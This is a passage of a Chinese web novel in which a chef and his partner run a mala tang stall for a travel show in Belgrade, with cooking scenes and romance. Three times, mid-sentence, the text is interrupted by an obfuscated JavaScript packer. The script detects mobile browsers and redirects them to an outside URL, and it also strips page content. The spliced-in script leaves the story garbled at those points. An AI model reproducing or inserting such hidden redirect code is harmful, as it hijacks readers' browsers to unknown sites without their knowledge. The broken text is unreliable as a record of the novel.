他不太适应，把围裙领子收得很短，上缘也就提得很高。完整包裹的胸肌将布料微微顶出一点弧度。 围裙是他当初上《美食之王》的，用不透明胶带粘住了节目组的标志。胶带不太适配布料，翘起一点边，粘到人身上，随着动作又轻轻扯起一点表层皮肤。 齐新雨记得这件围裙，很眼熟。是他最初画了Q版蒋醉余送给对方的，其中有一件的胸前兜里被他用水性笔签了个小小的名。 他把餐盘放在腿上，蒋醉余不认同地端走，齐新雨伸手扒拉他的兜，清洗几轮过后，还能残留一点墨痕。 蒋醉余在他身边坐下，齐新雨看到他耳朵有点红。 他目不转睛盯了太久，蒋醉余一句“吃饭吧”被憋回去，磕磕绊绊地解释起来。 “家里没找到别的无袖围裙，只能有这个了。你不喜欢《美食之王》，我就把它的logo挡住了，”蒋醉余说，“不过好像和你画的还是有点不一样。” 齐新雨深吸一口气，稍微仰起头，抓住他胳膊，张了张口只冒出一串称谓：“先生……哥哥……” 他把自己靠过去，小猫似的在蒋醉余肩颈处蹭了蹭。 他实在不知道该说些什么。 昨天晚上只是看了一会，这个人就记住了那些画面。他记得一个醉鬼醉醺醺的豪言壮语，甚至付诸实践。 哪怕他所模仿的画作来自两年前，那时候他们还是最普通的偶像与粉丝，没有任何舞台之外的联系， 哪怕那只是一个陌生人由外表或只言片语产生的、无谓甚至有些讨厌的想象。 “你怎么不提醒我小心喝醉啊。”齐新雨最终说。 蒋醉余看他一眼，这个人好像是很认真地在发问。 他曾经创下两斤白酒还能把队友一个个送回房间的记录，哪里知道有人甚至受不住两碗米酒啊。 蒋醉余摸摸他的头发，插了一块兔子苹果送到他唇边，这顿brunch再不吃就要凉了。 齐新雨又看了他一眼，呜地张开口咬掉兔子脑袋，打开投影仪调出《摆摊之王》意大利篇。 他们都好久没看自己的节目了。 开头飞速涌出的弹幕鸡飞狗跳，没见到几条蹲等更新的小天使发言，全是今天直播被放了鸽子的观众们，跑到这边来隔空聊天： 【恭迎恋爱脑鸽王回宫！】 蒋醉余一口嚼碎了苹果兔子的后半身。 休息了一天，节目组众人再见到齐新雨的时候，他走路看上去已经完全无碍，导演和编导凑在一起嘀嘀咕咕，瞥了好几次蒋醉余。 齐新雨看得笑嘻嘻的，直到飞机落地在塞尔维亚的首都贝尔格莱德开始录制，也没解释半句。 汽车在城市中穿梭，向着华人聚居的区域而去。 巴尔干半岛和他们之前走过的西欧南欧发达国家，都是截然不同的风格。这里有寻常想象中的洋房小镇，也有充斥着工业审美的粗犷高楼。 这是一个相对太沉默的小国，移民、留学或工作的华人都不像之前那样常见。 节目组这次改变了策略，果然在中国超市外拦到一群工装的路人同胞。 他们七嘴八舌地讨论一会，得出结论：“想吃什么？麻辣烫吧。” 73. 西北油泼辣子 大概没有哪个远行的年轻人不曾怀念过麻辣烫。 它不需要囊括多么高端的食材，也没人指望它比肩国宴菜肴。 那些面粉构成的丸子和泡在清水里的素菜、还没掀开街边小店水晶门帘就争先恐后溢出的浓烈香气，都组成了最质朴的怀念。 很多华人多的国家，甚至能在城区看见专门的麻辣烫门店。 但不包括贝尔格莱德。 “这边华人不够多，要摆摊就必须考虑当地人的口味。”蒋醉余对着本子看了半天，把铅笔顶在关节上转了几圈，陷入沉思。 随身携带纸币这个习惯是他从齐新雨那学来的，手写好像确实比手机打字更能维持思路，不至于被打断。 齐新雨捏着他自己的笔，没转起来就落到地上，狼狈地躬身下去捡： “我没来过塞尔维亚，不过对这边的印象就是很多大块烤肉……而且吃辣没有国内厉害。” 麻辣烫是最包罗万象的食物，就算想要“大口吃肉”也能吃出不少花样。他们走了几家中国超市，又来到当地人的市场。 土豆是一定要买的，它似乎天然地适配于所有炖煮类菜品，在时间的流逝中贪婪地吸收各种味道的汤汁，把自己变得绵软。 鲜牛肉请卖肉的摊贩刨成薄片，虽然没有肥牛那样丰富的味道和口感，却肌理感十足。 蒋醉余一边买菜，一边请摊主随便说个城里的地方。他们还没定好这周的摆摊目的地。 对方没太理解这个问题，看了一眼摄像机，又自认为了然地点点头：“你们是中国人吧，我知道你们想去哪。” “我想在去往你的目的地之前，你会想要到这里一趟的。” 她说了条街名和门牌号，却语焉不详道。 为了保留导演口中所谓“神秘感”，摆摊开始之前不会特意去踩点。编导在附近找了的住所，蒋醉余先开始备料。 想要得到一碗香味层次丰富、浓郁却味道融洽的麻辣烫，每一种用料的背后都藏着数道工序。 芝麻酱不能简单地用水或香油泻开，还要加入酱油等调味，到粘稠丝滑的质地，用勺子提起来能自然流下去，还能有厚厚一层挂在勺面上。 底料由数十种香料、葱蒜、豆瓣酱等在金灿灿的油脂里翻滚，直到把它染成明亮的橘红色； 再用几种骨肉小火慢熬，在底料的基础上再次调味，由奶粉增加奶香、由砂糖柔化风味，得到一锅表面红油张狂、其下却藏着丝滑奶茶色骨汤的底汤。 麻辣烫的做法并不难，互联网上充斥着各种各样的秘笈，难的是很多国际友人不吃麻也不怎么吃辣。 在中国超市老板的极力帮助下，这个问题也迎刃而解。 她是西北人，为了满足自己怀念家乡“油泼辣子”的私心，专门从国内收购了一批辣椒，甚至把来源精确到了甘肃省天水市甘谷： 甘肃的油泼辣子是出了名的香而不辣，老板说秘密全在辣椒里。 蒋醉余在制作底料的时候也用了这种辣椒，味道果然不错。 甘谷辣椒肉质肥厚、色泽鲜艳，最适合被一瓢热油泼下来，把隐藏在果肉和辣椒籽里的香气尽数激发。 何况油泼辣子并不是辣椒的独角戏，和其它配料一样，独特的香辣也需要无数食材映衬。 做出来的辣油看着深红浓郁、闻着香飘十里，敏感的人凑近了都要连打几个喷嚏，实际上入口，却是相当温和的味道。 如果想让本地食客们也感受到麻辣烫的魅力，这种辣椒无疑会是相当好的选择。 中超老板给了他们粗细两种辣椒面，其中粗一点的里面混合着橙黄色的辣椒籽。 添加盐、五香粉和花椒粉调味，再撒上白芝麻。 炸过小葱、香菜和香料的滚烫料油淋在干料上，热油滚起的泡泡在料粉中变小然后消失，就再淋一大勺。 油泼辣子中的“泼”这个字足以表明这项酱料的灵魂。热油要迅速地浇下来，唤醒了辣椒的活力，发出“刷啦”的响声。 直到辣椒粉们不再干燥，辣油变得丝滑，花生和芝麻的植物油脂香气与爽而不燥的辣味一同袭来。 轻轻洒两勺醋和一点鸡粉最后提鲜，便成就了这一碗望之令人食指大动的辣油。 齐新雨打了个喷嚏，揉揉鼻子又凑过来。 蒋醉余在炸第二份辣油，是特供给不对花生过敏的人群、味道更正宗的版本。 去皮花生用小火干煸至发黄再碾碎，不仅有花生本身的香气，还带上了火焰带来的烘烤焦香 哪怕他在第一份油泼辣子里尝试将芝麻也炒了炒，但因为担心芝麻被热油烫糊没能炒太久，依然不如后者香气扑鼻。 看上去也没那么好看。 油泼辣子放了一会，自然沉淀分层。 白芝麻更轻，能飘在清亮红油的上面，而醋辣椒碎和花生都沉了下去，组成斑驳的远景。 油泼辣子不像川渝火锅有温暖的橙红色调，而是几乎称得上静谧的深沉暗红色，甚至有几分像血色。 深色辣油盖在表面，把沉底的辣椒也滤成了同样的深红色，以至于不加花生的那一份，无论从色香味上，都显得单调了起来。 “真的好香，感觉就算直接涂到法棍上也不会难吃的。”齐新雨深吸一口气，感叹道。 话没说完，又打出一串细碎的小喷嚏。 尚还“年轻”的油泼辣子不懂得收束，肆无忌惮地把自己的香气铺满整个厨房。等到素油冷却下来，就会内敛得多。 不出所料，第二天他们出摊时，油泼辣子已经安安静静地蜷缩在了罐子里，只要不掀开盖子，就很难闻到。 节目组众人提前出发，顺着导航找过去，看到一家门面很小、看上去也没什么特殊的花店。 他们把餐车停在花店的拐角处，突然意识到，这座花店的店里店外……竟然围着不少中国游客。 游客们明明素不相识，买完了花却顺着同一方向走去。 “果然是这里，”蒋醉余看着某些游客有些低沉的表情，抿抿唇，拉住齐新雨，“我们也去吧。” 二十五年前，美国轰炸了中国驻南联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蒋醉余把火打开，小火慢慢加热汤底，骨汤麻辣烫的香味在街道上漫开。 这股香气简直是刻在中国人的基因里，过了不到半分钟，花店那边就有人环顾四望、寻找起了味道的来源。 “这怎么闻起来比我家楼下开了几十年那家麻辣烫还香？” “原来不是我一个人馋！波黑塞玩了十天，我第一次发现自己这么想吃中餐……” 他们祭拜完又原路返回，围在餐车前好奇地打量。 “这几个是什么菜啊？”一位食客问。 他手底下指着的是一盒荤菜，看着像是炸肉丸子的棕褐色，却是一长条的形状。坦白讲，外观对中国人来说有些不可恭维。 但是大吃货国的好奇心告诉他，这个东西能被摆在“C位”，一定有它的道理。 “塞尔维亚本地美食，”齐新雨耐心解释，“我们试了一下放进麻辣烫也很好吃，感兴趣可以试试哦。” 74. 一种本地美食 眼前这种其貌不扬的深棕色肉条，音译过来叫做“契契”。 说它是丸子，它又是长条形；说它是香肠，它又没有肠衣。按照做法来讲，蒋醉余觉得它更像丸子。 牛肉馅里加上洋葱、欧芹碎、辣椒粉搅匀，装进食品袋，像挤虾滑一样挤到油锅里煎熟。 表面的焦化层几乎成为咖啡色，也就可以出锅了。 按照传统吃法，可以把烤饼掏成袋子一样，肉条加上一点番茄和卷心菜塞进去，被很多网友戏称为“塞尔维亚肉夹馍”。 不过在蒋醉余这里，成为了麻辣烫的好搭档。 和质地细腻的“淀粉肠”比起来，这种没有外皮的纯肉“肠”的优点在于人工搅打的肉馅中尚还保有疏松的空隙。 麻辣烫的汤汁浸湿泡软焦脆的外壳，慢慢渗进肉丸内部。 以煎烤闻名的东欧菜色，吃多了难免有些燥热。 浓厚的骨汤极好地补足了这一点，它带着奶香和回甘的余味，把煎肉肠内部的汁水补充得愈发充盈。 一口咬下去，洋葱已经变得绵软，这种让人一提起来就泪流满面的食物却在被完全做熟后展现出相当浓郁的甜味，和甘醇的骨汤麻辣烫互相辉映，仿佛天作之合。 食客张开嘴，像小动物一样努力换着气，却不舍得放弃口中的契契。 咬一口烫牙烫舌头，可是放置时股股香气又充斥着口腔。 等到它终于凉了一点，食客连忙举起签子，在纸杯里滚了一圈，沾饱了麻将，狠狠又咬下一口。 “老板你太有创意了，这个菜明明味道很重，怎么煮进麻辣烫里不仅不抢戏，还能这么好吃啊。” 作为路边摊，蒋醉余汲取串串香、关东煮之类摊贩的灵感，为了方便客人食用，选择把所有菜都做成串。 外地人好像没有他们那里边走边吃的能力，还是有个签子比较省事。 竹签伸回纸杯里的汤底上转一圈，就能沾满汤汁和酱料。如果想吃清淡一点，那就在边上刮一下。 眼前这位客人，大概就属于比较贪心的。 一口什么都不沾，一口特意沾麻酱，再来一口特意沾油泼辣子的，食客吃得不亦乐乎，没多久就吃完了这一根契契。 她咂咂嘴，还能感受到一点东欧香料的余味，把目光投向了没什么味道的素菜： 银耳。 作为第一个吃螃蟹的人，这位食客本来就好奇心旺盛。 在她的印象里，银耳是通常和“羹”字绑定出现的。 在那些被冠以美容养颜称号的甜品中，银耳的胶质被尽数煮出，煮得软软糯糯、晶莹剔透。 总而言之，是一种需要文火慢炖的甜品。 可是站在老板身边的那个男生手里也捧着一碗麻辣烫，给她介绍菜品之余还不忘嚼得津津有味。 她忍不住一问，得到的答案就是银耳。 一大朵银耳像小花一样顶在纤细的竹签上，因为担心煮的时候银耳滑落，蒋醉余还在上下各插了一小块胡萝卜顶住银耳。 红汤红油将银耳染成温暖的橘红色，食客把它竖着举起来，半透明的银耳明明不算很纤薄，却依然能隐约透光。 整朵银耳这圆滚滚的饱满身材，再配上前后两小块胡萝卜……今天回去发旅游记录的文案她都想好了，就叫“在塞尔维亚见到了中国灯笼”！ 她放下手机，对着银耳小心翼翼地咬上一口。 出乎她意料的是，银耳竟然是脆的。 吃起来不像贡菜那样咯吱咯吱的脆响，要更柔软一点，但也是爽脆可口，而且相当入味。 正因为银耳本身没有什么味道，反而展现出了汤底的丰富层次。 银耳长得“蜿蜒曲折”，有些凹进去的地方偷偷藏着一小口汤汁，便成为了出人意料的小小惊喜。 更令人惊喜的是辣油。明明直觉告诉她，银耳这样光滑的食物配上辣油可能会有些油腻，但是吃起来却只感受到了增香无数。 蒋醉余在油泼辣子最后加入的那一点醋早就因温度蒸发，没有遗留哪怕半点酸味，却似乎依旧达成了解腻的效果。 跟着老板的朋友吃，果然不会错啊。 她把银耳连着两端煮软了的小胡萝卜吃得干干净净，抬起头正要赞美对方的品味，就看到男生举着一串不知道什么肉咬下一口，吃得正香。 他举着签子，和老板身高差不了几厘米。老板头一歪，不假思索地吃掉了剩下半块肉。 “我才刚开始吃！”齐新雨哼哼唧唧。 食客倒吸一口凉气。 为了继续欣赏这种帅哥美男贴贴的场面，信女愿意再吃十份麻辣烫！ 就像过去曾经踏足的每一个国家一样，刚开始摆摊的工作日总是没什么人气，只能依靠路过的人。 直到下午快要收摊时，一群肤色各异的面孔说说笑笑地找了过来。 “蒋大厨，我就知道你在这里！”那些人一看见他就招呼道。 好陌生的称呼，哪怕是“梦里”开餐厅的时候，都还没有人喊过他大厨。 但哪位为厨者没有幻想过这样的称谓呢。 蒋醉余蓦地抬起头，是之前在中超外面碰见、点名要吃麻辣烫的那群华人。 不过今天的队伍不止他们，还有一些当地人；南斯拉夫人体型高大，一眼望过去相当瞩目。 “之前没好意思告诉你，我们工地食堂经常放你的节目解馋呢。”他们解释道。 《摆摊日记》节目组很大方，每次正片播出，就会把对应国家的直播回放全都公开出来。 虽说华人承包商应该更懂本国工人的口味，但工地大锅饭的味道也就那样。他们有时候几个人围在一起，中间就摆这个手机看视频解馋。 电子榨菜效果太好，看视频的人越来越多。 在食堂夜宵吃上螺蛳粉的那天他们知道了，这股追剧之风绝对已经传到了厨子那里。 他们这一群人趁着今天上的是早班，一看到直播熟悉的街景，就立刻赶了过来。 “来这边工作的，谁没到这一片看过好几次啊。”工人们叹了口气。 有时候是陪别人来，有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775151|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思重的，自己逢年过节也愿意到纪念碑这里，送上一块月饼。 花店附近的景致，他们一眼就能认出来。 为首最外向的工人踮起脚拍了拍身边本地同事：“我们也真算是历史革命友谊了。” 本地工人咧开嘴，露出一个很热情的笑容。 他们人很多，加起来把摊位上的食材全都点了一遍。蒋醉余一锅煮出来，食客们的反应各不一致。 出国务工的人们馋了太久家乡小吃，加起麻酱和辣油都不手软，甚至还想问蒋醉余有没有花椒粉。 当地人就谨慎得多。既然摊主说了看自己口味加，那就先不要，最多也就是小心翼翼地盛一勺底的麻酱。 看着那深红浓香的油泼辣子，他们突然感觉自己平时洒在烤肉上的那点辣椒面简直可以忽略不计了。 这次摆摊，蒋醉余选的基本都是中超才有的素菜，本国同胞几乎人人都要了全份。 银耳、海带结和魔芋丝结构复杂，吸味之余“夹带”了不少汤底，各种酱料都能渗透进内部。 而对于笋丝和香菜这样自带独特味道的食材，骨汤就成了锦上添花的存在。 “能把这么细的香菜串成串、煮软了也不掉下来，老板这个手艺真是没话说。”他们看着香菜串，叹为观止。 作为最褒贬不一的“黑红”食物之一，香菜的反对者们坚信这种罪大恶极的食物又臭又苦，还带着土腥味和莫名其妙的肥皂味。 而支持者却觉得，香菜自有一种无可替代的清香。 他们怀揣着对于异香的怀念，把香菜送入口中。 绿叶菜吸饱了汤汁，首先涌上来的是汤底的咸鲜。它和各种荤菜煮在一起，不仅兢兢业业地从骨汤中吸收鲜味，还汲取了不少肉香。 嚼着嚼着，出现在口中的就成了甜味。 食客惊讶地睁大眼睛，又嚼了两口：甜味并不是错觉。 甜咸从来都是相辅相成，能用糖提鲜，也能用盐增甜，眼下似乎就是后者。 熟透了的香菜不致于说多么甜蜜，但的的确确带着难以忽视的甜意。沾一口汤底和酱料，恍惚间以为自己点了红薯片……纤维版。 一道菜品，两种体验。 香菜拥趸珍重地放满了咀嚼速度，在口中回味都消失之后才回过神来，郑重其事地问道：“老板，我明天来能自带食材吗？” 这是什么要求。 “你明天不是早班吧。”工友也惊讶地看过来。 食客不为所动，仍然祈求地看着蒋醉余：“我可以换班，求你了老板，我明天带点面条来你帮我煮了行不行。” 他说着，露出怀念的神色： “我好几年前回国的时候，吃过一碗笋丝香菜面，用骨汤煮的，又鲜又香，我一直惦记到现在。 “所以我刚才一吃麻辣烫就觉得，如果用老板你这个底汤煮，这个汤的麻辣味一点都不会遮盖住骨汤的味道，一定会更好吃吧……” 话音未落，不会讲中文的本地工友捧着碗冲过来：“老板，你这个辣椒油卖不卖啊！” 75. 夹沙肉是什么 哭诉怀念香菜笋丝面的客人停住了。 他看着自己的工友，仿佛第一天认识对方。这个偶尔被他私下吐槽傻大个的国际友人的身后，前所未有地透出智慧的圣光。 这是苏格拉底的附身，这是爱因斯坦的传承，这是最有生活阅历的人才能想到的题外之解！ 华人工人的眼神变得更加期待了。 他跟在工友身后，忙不迭问道：“所以老板，辣椒油能卖吗？” 蒋醉余摇摇头：“我明天会再准备一点面条。” 工人发出一声遗憾的长叹。 想想也知道节目组不敢卖辣椒油，这种需要长期保存的食品和摆摊卖点食物可不一样，他们也就只能口嗨一下，过个嘴瘾。 他端着碗里还没吃完的食物，不由得悲从中来。 这是他第一天吃到蒋醉余做的菜。 也会是倒数第五天。 如果我注定要失去你，我们又为什么要相遇，我亲爱的麻辣烫。 他看看左右还乐呵呵扒拉碗的朋友们，默默做了一个决定：“老板，给我打包一份带走吧。” 蒋醉余头来一个惊诧的眼神，齐新雨会意道：“我刚刚听你们聊天，工地离这边不近吧，打包回去不一定还好吃哦。” 工人摆了摆手：“没关系，他一年到头住工地上，比我们回国还少，还以为我们不知道他半夜吃个魔芋爽都嗷嗷哭呢。以老板的手艺，就算是放馊了也足以征服他了。” 此话一出，旁边的人们也起了谈性：“就我们住的那种铁皮房子堪称扩音器，下雨砸在屋顶比我们施工还吵。当时大晚上听到哭声吓死我了，我们那段时间上卫生间都要结伴。” “都怪咱那个中二病厨子非说是什么诡异文！” 他们描述得太有画面感，齐新雨噗地一声笑了出来。 “所以为了我们这几天能一直吃到麻辣烫，我必须要让他意识到他错过了什么，”工人说，“蒋大厨你就放心啦，绝对不会砸了你的招牌的。” 话说到这份上，这碗外带的麻辣烫自然是到了手。 第二天，说是要换班来吃的工人们却没有出现，反而冒出来一位目标明确、径直把车停在小摊旁边的男士。 他走下车，低沉的面色因为空气中弥漫的辣油香气而改善一点。 “老板，先给我一样来一份吧。”男士摸摸自己的肚皮，仍皱着眉。 蒋醉余今天忙起来，点点头以示答应，又听他问：“这个蛋饺怎么把四周都切掉了？” “不是蛋饺，是今天的新菜，夹沙肉。”蒋醉余说。 食客挠了挠头，当即怀疑地望过来：“夹沙肉不是甜烧白吗？老板你可不要骗我。” 夹沙，又写作袈裟，是蒋醉余昨天晚上在给油泼辣子“补货”的时候突然想到的，也是来自甘肃的做法。 鸡蛋摊成金黄的蛋皮，拎出来在案板上摊平，刷上一层淀粉水，再均匀地铺一层肉馅。 因为做契契需要牛肉，本着互为照应又能少准备点材料的心理，蒋醉余在做加沙肉的时候也挑了牛肉馅。 他现在和以前可不一样了，备料少用五分钟，就能晚起五分钟。 齐新雨过去伪装得很好，从来没暴露过自己喜欢赖床。 蒋醉余现在才发现，催命似的闹铃一响，他就像只卧沙的猫眼螺，揪起被子把自己拱进蒋醉余怀里——等到清醒以后又瞬间整个人爆红。 “蒋先生又不喊我起来。”他会软绵绵地抱怨。 蒋醉余觉得他是故意的。 他每次听到这个称呼都要把齐新雨的嘴封上，但齐新雨每天都要这么喊一遭。 他的穿衣风格还很艺术，比如他有一件衣服活像把一间杂货铺的所有东西都摆到了自己身上，这边垂个小球，那边顶一只鸟。 蒋醉余看不懂，但有时候会撞上。 身子一不平衡，嘴唇撞在齐新雨的门牙上差点磕破，两个人只好手忙脚乱地开始备菜。 齐新雨也想干活，他负责拿出绷油画画布的精细度，刷淀粉水。 铺好的牛肉馅顶部再贴一层蛋皮，呈两面包夹之势，然后把牛肉蛋饼分成大约三指宽的条带，油炸熟透。 再垂直于条带，切成适口大小、约一两厘米的长方形细条。 按照传统做法，可以放进暖锅里，随着排骨土豆之类一起咕嘟嘟炖煮，也可以挂上一层酸甜芡汁做成糖醋口味，是相当百搭的食材。 在这里，它自然是只有被串成串放进麻辣烫的待遇。 食客拿起一串夹沙肉。 蛋皮浅黄，肉馅棕褐，如今都染上麻辣烫汤底的橙红色，外面再沾上一点芝麻酱和辣油，就像刚出锅的薯条蘸番茄酱一样，招摇地召唤着人类的唇齿。 蛋皮先煎再炸又煮，已经吸饱了汤汁，变得膨胀松软，颜色也更浅了一点。然而肉馅依旧能紧贴着蛋皮，在口中跌跌撞撞地碎开，带出葱姜水去腥后的牛肉香气。 食客眼睛一亮。 别看他一副富态模样，灵活的躯体一扭，闪身又一次排到队列中。星期五来人不多，食客又一次排到蒋醉余面前，撑在餐车上身体前倾。 “您吃得有什么不满意吗？”蒋醉余把乱七八糟哼着歌串串的齐新雨拉到自己身后。 齐新雨从他身后探出头来，小声道：“我觉得你理解错了。” “大师我不是这个意思！”食客连忙后撤，然后固执地凑回来，像接头一样压低声音，“我知道您这个手艺再来参加这些美食节目，肯定是想大隐隐于市，所以我悄悄地问： “老板，能不能收我为徒啊！” 蒋醉余动作一顿：“啊？” “我以前还怀疑过您做的菜是卖相好味道差，我错得真离谱啊！大师求求您，让我沾染一下厨神的仙气！” 食客自以为隐秘地扫了一眼摄像头，用手挡住嘴小声说道。 蒋醉余听着他不知道要多么强大信念感才能说出来的话，昨天工人食客那句“中二厨子”的吐槽在脑中浮现。 “你是来给你们工地买饭的？” “天啊！”食客说，“连这都知道，您真的是灶王爷下凡！” 他拍拍自己的肚皮，紧张起来：“老板不好意思，经理说今天不用做饭，我想来看看是什么菜让他舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775152|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得花这个钱，我千真万确没有针对您的意思啊。” 蒋醉余叹了口气：“封建迷信不可取。你们要吃点什么？” 伸出双手比划了个数字：“老板，我想要这么多人份的麻辣烫，不用打包面条，我蒸了米饭。” 他看看手机，又说：“哦，其中有一份要放面条、笋干和香菜。” 今天客人没多到要限购，这么多菜也够蒋醉余煮了半天。好在面条是他自己手擀，还算劲道。 大大小小的打包盒装满两个塑料袋，厨师先生“嘿”地一声提起来，又放下去，先接起突然响起的电话。 “嗯嗯经理我没偷吃，就是排队人有点多，都买到了，”他夹着电话走远，“你知道吗，我刚刚回想了一下，我说老板是灶王爷下凡他没有否认啊！说出这句话我手都在抖。” 他不仅手抖，耳朵也抖，肩膀一错就碰到手机免提键。 蒋醉余煮着后面食客的面条，听到远方传来一声大喝：“抖什么抖，你别把我汤抖撒了！” 食客在他担忧的眼神里走上车。 蒋醉余不知道汤撒没撒，但是后几天都经理亲自来打包了。 周末来这边的人稍微多了一点，其中不乏带着孩子来的本地人。 众所周知东斯拉夫俄罗斯人身材高大，南斯拉夫人的平均身高甚至比他们更高。身高参差的华人游客好似海浪，从中冒出几位灯塔似的巨人。 “海浪”翻涌，几个惹人注目的身影凑了过来。 除了《摆摊日记》自己的团队外，这小小的队伍竟然还能容纳两台摄影机。 第一位来自手持摄像机的丁柳先生：“前辈又见面了，我在拍休假旅游vlog，你不介意入镜吧。” 蒋醉余睨他一眼。 齐新雨今天穿了那件杂货铺，一边说着“久闻大名”，一边不慌不忙地从自己衣服上摘下来一个带弹簧的石塑粘土小燕子。 他抬手，把小鸟夹在蒋醉余头上。 小鸟惟妙惟肖，蒋醉余困惑地歪头，它就随着这一点轻微扰动晃来晃去，真的像一只驻足的新燕。 “现在你没法入镜啦。”齐新雨合掌笑道。 话音未落，对面的丁柳一拍自己的相机：“尼康！让你对焦人脸，你怎么假鸟都照啊！” “看来天意如此，还是拍食物吧，离了这里可是吃不到麻辣烫里的契契了哦。”齐新雨笑眯眯地说。 丁柳还想说些什么，忽然按住耳机，脱口而出一句“国骂”。 他让到一边去接电话，露出排在身后身穿职业套装和扛着摄像机的两位女士。摄像机上贴着台标，正是和他们约了采访的那一家。 没想到在这时候主动找过来了。 蒋醉余抬手摸了摸头上的雨燕，却没拿下来：“见笑了。” 记者笑道：“哪里的话。是我们看直播看馋了，偷偷溜过来的。老板你这样说，我们都要不好意思点餐了。” 她们就像普通食客一样纠结着挑选食材，却听一旁没走太远的丁柳突然道： “别急，你慢慢说。你现在在哪？什么叫南楠和靳书甫把人喝死了？” 76. 喝酒有害健康 新闻工作者的血脉觉醒，记者敏锐地望了过去。 丁柳朝他们摆摆手，压低了音量。 齐新雨没听明白，戳戳蒋醉余小声问：“什么意思啊？靳书甫是谁啊？” 蒋醉余把他的耳朵捂上：“别听了。” 他的前东家、这个二百人男团的酒桌文化，说起来比很多为人诟病的酒场更加恶劣。 齐新雨这样除了线下看演出就是单机画画的人，大概从未听到过相关传闻。 “原著”中的主角攻受和他打得有来有回，对现在的齐新雨来说，只知道南楠是蒋醉余的前队长，却根本没注意过公司总裁姓甚名谁。 齐新雨扬起手，要把他头上的雨燕夹子取下来。 蒋醉余抓住他的胳膊，喂了几个月还是很瘦：“我告诉你，你别生气。” “谁问你这个啦，”齐新雨又伸出另一只手，“这么大个人，头上顶着个摇摇晃晃的鸟，不知羞。” 他把还带着体温的夹子夹回自己衣服上，就听蒋醉余说：“我们当时全团投票的排名，不仅决定以后舞台和资源的位次。” 凡是团里聚餐，都会自带那种白酒盒子里附赠的小酒盅。 选举第二梯队的偶像要在开场先干喝一杯，第三梯队喝两杯，以此类推。 至于排名倒数的那些，一杯两杯慢慢喝只会让高位者不耐烦，从来都是被按着头拎起分酒器——一口闷。 大多数人不喜欢这种无聊的活动，但靳书甫和南楠很热衷。 换句话说，由于蒋醉余和南楠同队，从前凡是参加队内活动，就免不了先空腹来点致癌物。 “我刚签约的时候，他们两个想让新人全都喝醉，灌了我两斤酒，自己喝多了，我没事。”蒋醉余轻描淡写。 他还记得曾经有一次去高档餐厅聚餐，回来有队友的粉丝问他好不好吃，队友只能打着哈哈说都是金钱的香味。 他当然回答不出来，菜还没上，他就已经因为那几杯酒神智不清了。 “其实那个菜还挺好吃的，不过大部分都剩下，被南楠打包走了。”蒋醉余有点想笑。 你别说，至少他知道节约粮食。 “你从来都没跟我说过！”齐新雨恶狠狠地用竹签扎穿银耳。 竹签穿进泡发好的银耳，滞涩感一层层环绕上来，不过在不轻的力道下都只会被毫无阻碍地穿过。 “小心手，”蒋醉余叹了口气，把他手里最后一串银耳接过来，“还好都串完了。” 就这个粗暴得像要把银耳碎尸万段的动作，他真怕齐新雨扎到自己。 食客的队伍越来越短，那边记者们和丁柳交换了联系方式，对着自己那碗麻辣烫和蒋醉余的餐车认认真真、三百六十度环绕着拍了一圈。 齐新雨甩甩手上的水，从小凳子跳起来去找记者了。 “我们本来只是想采访蒋老师，不过现在批下来了海外版纸媒的一整个版面，加上新媒体一期视频专访。” 记者笑着取出一个袋子：“因为版面变大了，所以视频的主题有了一些变动，可能还需要给你们换身衣服。” 她原本只是看到蒋醉余的直播，提交了“当代青年的文化宣传”这样的选题，对这次采访谈不上格外重视。 直到她来到塞尔维亚这片充满故事的土地，记者守在直播间另一头规划着自己的问题。 她看到花店附近来来往往的人和他们在大街上吃喝说笑的身影，突然想稍微改一下自己的立意。 她有预感，如果能如预期一般完成这次报道，很有可能成为她个人的“代表作”。 齐新雨展开衣服，发出“哇”的声音。 “原来我也有机会穿这种衣服！”他眼神亮晶晶的。 记者带来的两套衣服大约可以算是民国风或今年流行的新中式，齐新雨分不太清楚。他不怎么看影视剧，偶像舞台也少有这种风格。 蒋醉余那件是一身黑，依着蓬勃昂扬的学生装改的，他自己的是羽扇豆蓝的长袍，米灰坎肩上刺绣梅枝，相当精致。 齐新雨躲进房车换了衣服出来，蒋醉余抬手接他下来，露出一点笑意：“这下真像小少爷了。” 齐新雨摸摸立领，很新奇：“那你是什么？” 节目组已经把东西都收拾好，蒋醉余和他并肩往街上走，影子已经长到与身高相仿：“我啊……是那个把你拐跑的叛逆小子。” 记者轻咳一声。 趁着下午天光还亮，总要先把访谈视频拍了吧。 采访是以青年人为主题，不用太过于正经，几个人可以在街上边走边聊。 她以前做过这样的采访，但那时候只有一个受访对象。 现在总不能三人并排。 记者看着两个人，张了张口，又把话咽回去。直觉告诉她自己不管走在哪都会破坏眼下这种不容外人插入的氛围。 她招呼着摄像师跟上，半侧身走到了两人前方。 